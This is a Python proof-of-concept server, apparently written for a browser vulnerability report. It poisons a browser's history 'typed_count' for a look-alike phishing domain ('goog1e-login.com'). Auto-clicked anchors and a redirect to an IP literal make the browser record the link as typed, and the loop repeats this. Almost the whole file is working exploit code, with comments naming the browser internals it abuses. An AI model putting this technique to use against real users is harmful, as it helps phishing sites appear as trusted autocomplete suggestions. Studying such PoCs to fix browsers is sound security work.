#!/usr/bin/env python3
"""
HTTP server for the typed_count poisoning POC.

Endpoints (single server, dispatched on Host header / path):
  http://attacker-page.com:8080/poc.html   -> entry page; auto-clicks <a> to phish/r
  http://goog1e-login.com:8080/r           -> 302 redirect to http://127.0.0.1:8080/ok
  http://127.0.0.1:8080/ok                 -> landing page; auto-clicks <a> back to phish/r
                                              (loops ITERATIONS times, then idles)

Run with --host-resolver-rules="MAP *.com 127.0.0.1" so the .com hosts resolve here.
"""

import http.server
import socketserver
import sys

PORT = 8080
ITERATIONS = 10  # number of LINK->IP redirect round-trips to perform

PHISH_HOST = "goog1e-login.com"
IP_HOST = "127.0.0.1"

# Global iteration counter (single-client POC).
state = {"hits": 0, "done": False}


def page(body: str) -> bytes:
    return (b"<!doctype html><html><body>" + body.encode("utf-8") +
            b"</body></html>")


class Handler(http.server.BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        sys.stderr.write("[server] %s %s\n" % (self.headers.get("Host", "?"),
                                               fmt % args))

    def _send(self, code, body=b"", headers=None):
        self.send_response(code)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Cache-Control", "no-store")
        for k, v in (headers or {}).items():
            self.send_header(k, v)
        self.end_headers()
        if body:
            self.wfile.write(body)

    def do_GET(self):
        host = (self.headers.get("Host") or "").split(":")[0]
        path = self.path.split("?")[0]

        if path == "/poc.html":
            # Entry page on attacker-page.com. One <a> to the phishing URL,
            # programmatically clicked. Anchor clicks are LINK transitions and
            # are explicitly NOT client redirects (FrameLoader::
            # CalculateClientRedirectPolicy excludes kAnchorClick).
            body = page(
                "<h1>poc entry</h1>"
                "<a id=l href='http://%s:%d/r'>go</a>"
                "<script>"
                "  setTimeout(function(){document.getElementById('l').click();},"
                "             300);"
                "</script>" % (PHISH_HOST, PORT))
            self._send(200, body)
            return

        if path == "/r":
            # The phishing URL. Server-redirect to a bare IP literal.
            # The IP literal has registry_length == 0, so HistoryBackend treats
            # the *final* URL as an "untyped intranet host" and rewrites the
            # whole chain's transition LINK -> TYPED. The chain-start entry
            # (this URL) then gets typed_count++.
            self._send(302, b"", {"Location": "http://%s:%d/ok" % (IP_HOST, PORT)})
            return

        if path == "/ok":
            # IP-literal landing page. Loop back via another anchor click.
            state["hits"] += 1
            n = state["hits"]
            if n < ITERATIONS:
                body = page(
                    "<p>hit %d</p>"
                    "<a id=l href='http://%s:%d/r'>again</a>"
                    "<script>"
                    "  setTimeout(function(){document.getElementById('l').click();},"
                    "             300);"
                    "</script>" % (n, PHISH_HOST, PORT))
            else:
                state["done"] = True
                body = page("<p>done after %d hits</p>"
                            "<script>document.title='POC-DONE';</script>" % n)
            self._send(200, body)
            return

        self._send(404, b"not found")


class ReuseTCPServer(socketserver.TCPServer):
    allow_reuse_address = True


if __name__ == "__main__":
    with ReuseTCPServer(("0.0.0.0", PORT), Handler) as httpd:
        sys.stderr.write("[server] listening on 0.0.0.0:%d\n" % PORT)
        httpd.serve_forever()